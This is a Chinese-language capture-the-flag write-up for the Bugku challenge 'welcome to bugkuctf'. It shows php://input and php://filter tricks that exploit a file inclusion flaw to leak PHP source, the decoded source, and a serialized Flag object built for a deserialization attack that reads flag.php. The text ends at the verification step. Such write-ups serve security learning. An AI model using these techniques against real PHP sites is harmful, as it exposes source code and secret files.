welcome to bugkuctf
(題目頁面)
(題目源代碼)
1.讀取到的信息:
a. 用_GET方式傳遞三個參數
b. user不為空,並且作為文件名變量打開後的文件內容為 “welcome to the bugkuctf”
c. file要求為hint.php
d. password變量暫時未讀到相關信息
2.根據讀到的信息測試
註:當傳進去的變量的參數作為文件名變量去打開時,可用 : 變量名=php://input ,php://input 作為參數,同時使用post 方式傳入內容作為變量的文件內容。
3.讀取hint.php源文件
註:讀取 php 源文件,將其以base64編碼的方式輸出可通過 “ php://filter/read=convert.base64-encode/resource=php源文件名 ” 的方法
得到base64編碼:
PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==
base64解碼:
1 <?php 2 3 class Flag{//flag.php 4 public $file; 5 public function __tostring(){ 6 if(isset($this->file)){ 7 echo file_get_contents($this->file); 8 echo "<br>"; 9 return ("good"); 10 } 11 }12 } 13 ?>
註:file_get_contents() 函數將一個文件讀入一個字符串
讀取到的信息:
a. 類名後面有 flag.php的註釋
b. 類內有個__tostring()函數,將類作為字符串執行時會自動執行的一個函數,此函數執行時會輸出類內變量 file 的內容
聯想前面的flag註釋,此時有可能會輸出flag
4.讀取index.php
用讀取hint.php的方法讀取出index.php,得到base64 編碼:
PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KICANCmlmKGlzc2V0KCR0eHQpJiYoZmlsZV9nZXRfY29udGVudHMoJHR4dCwncicpPT09IndlbGNvbWUgdG8gdGhlIGJ1Z2t1Y3RmIikpeyAgDQogICAgZWNobyAiaGVsbG8gZnJpZW5kITxicj4iOyAgDQogICAgaWYocHJlZ19tYXRjaCgiL2ZsYWcvIiwkZmlsZSkpeyANCgkJZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgDQogICAgfSAgDQp9ZWxzZXsgIA0KICAgIGVjaG8gInlvdSBhcmUgbm90IHRoZSBudW1iZXIgb2YgYnVna3UgISAiOyAgDQp9ICANCiAgDQo/PiAgDQogIA0KPCEtLSAgDQokdXNlciA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzcyA9ICRfR0VUWyJwYXNzd29yZCJdOyAgDQogIA0KaWYoaXNzZXQoJHVzZXIpJiYoZmlsZV9nZXRfY29udGVudHMoJHVzZXIsJ3InKT09PSJ3ZWxjb21lIHRvIHRoZSBidWdrdWN0ZiIpKXsgIA0KICAgIGVjaG8gImhlbGxvIGFkbWluITxicj4iOyAgDQogICAgaW5jbHVkZSgkZmlsZSk7IC8vaGludC5waHAgIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCBhZG1pbiAhICI7ICANCn0gIA0KIC0tPiAg
解碼:
1 <?php 2 $txt = $_GET["txt"]; 3 $file = $_GET["file"]; 4 $password = $_GET["password"]; 5 6 if(isset($txt)&&(file_get_contents($txt,‘r‘)==="welcome to the bugkuctf")){ 7 echo "hello friend!<br>"; 8 if(preg_match("/flag/",$file)){ 9 echo "不能現在就給你flag哦"; 10 exit(); 11 }else{ 12 include($file); 13 $password = unserialize($password); 14 echo $password; 15 } 16 }else{ 17 echo "you are not the number of bugku ! "; 18 } 19 20 ?> 21 22 <!-- 23 $user = $_GET["txt"]; 24 $file = $_GET["file"]; 25 $pass = $_GET["password"]; 26 27 if(isset($user)&&(file_get_contents($user,‘r‘)==="welcome to the bugkuctf")){ 28 echo "hello admin!<br>"; 29 include($file); //hint.php 30 }else{ 31 echo "you are not admin ! "; 32 } 33 -->
註:serialize() 函數用於序列化對象或數組,並返回一個字符串。
unserialize() 函數用於將通過 serialize() 函數序列化後的對象或數組進行反序列化,並返回原始的對象結構。
讀取信息:
a.
if(preg_match("/flag/",$file)){ echo "不能現在就給你flag哦"; exit(); ‘
通過preg_match匹配了flag關鍵字,也就無法輸出flag.php內容,將希望寄托於之前的到的類
b.
$password = unserialize($password);
echo $password;
得到了password的用法,用於解序列化並將其輸出,結合之前Flag類的輸出猜測,如果password為Flag類的序列化,將其解序列化後便是Flag類,將其輸出便可能得到flag
4.根據前面一系列操作和猜測,當前需要得到類Flag的序列化
編寫代碼得到Flag的序列化:
<?php class Flag{//flag.php public $file; } $a = new Flag(); $a->file = "flag.php"; $a = serialize($a); print_r($a); ?>
執行得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
5.驗證猜測
welcome to bugkuctf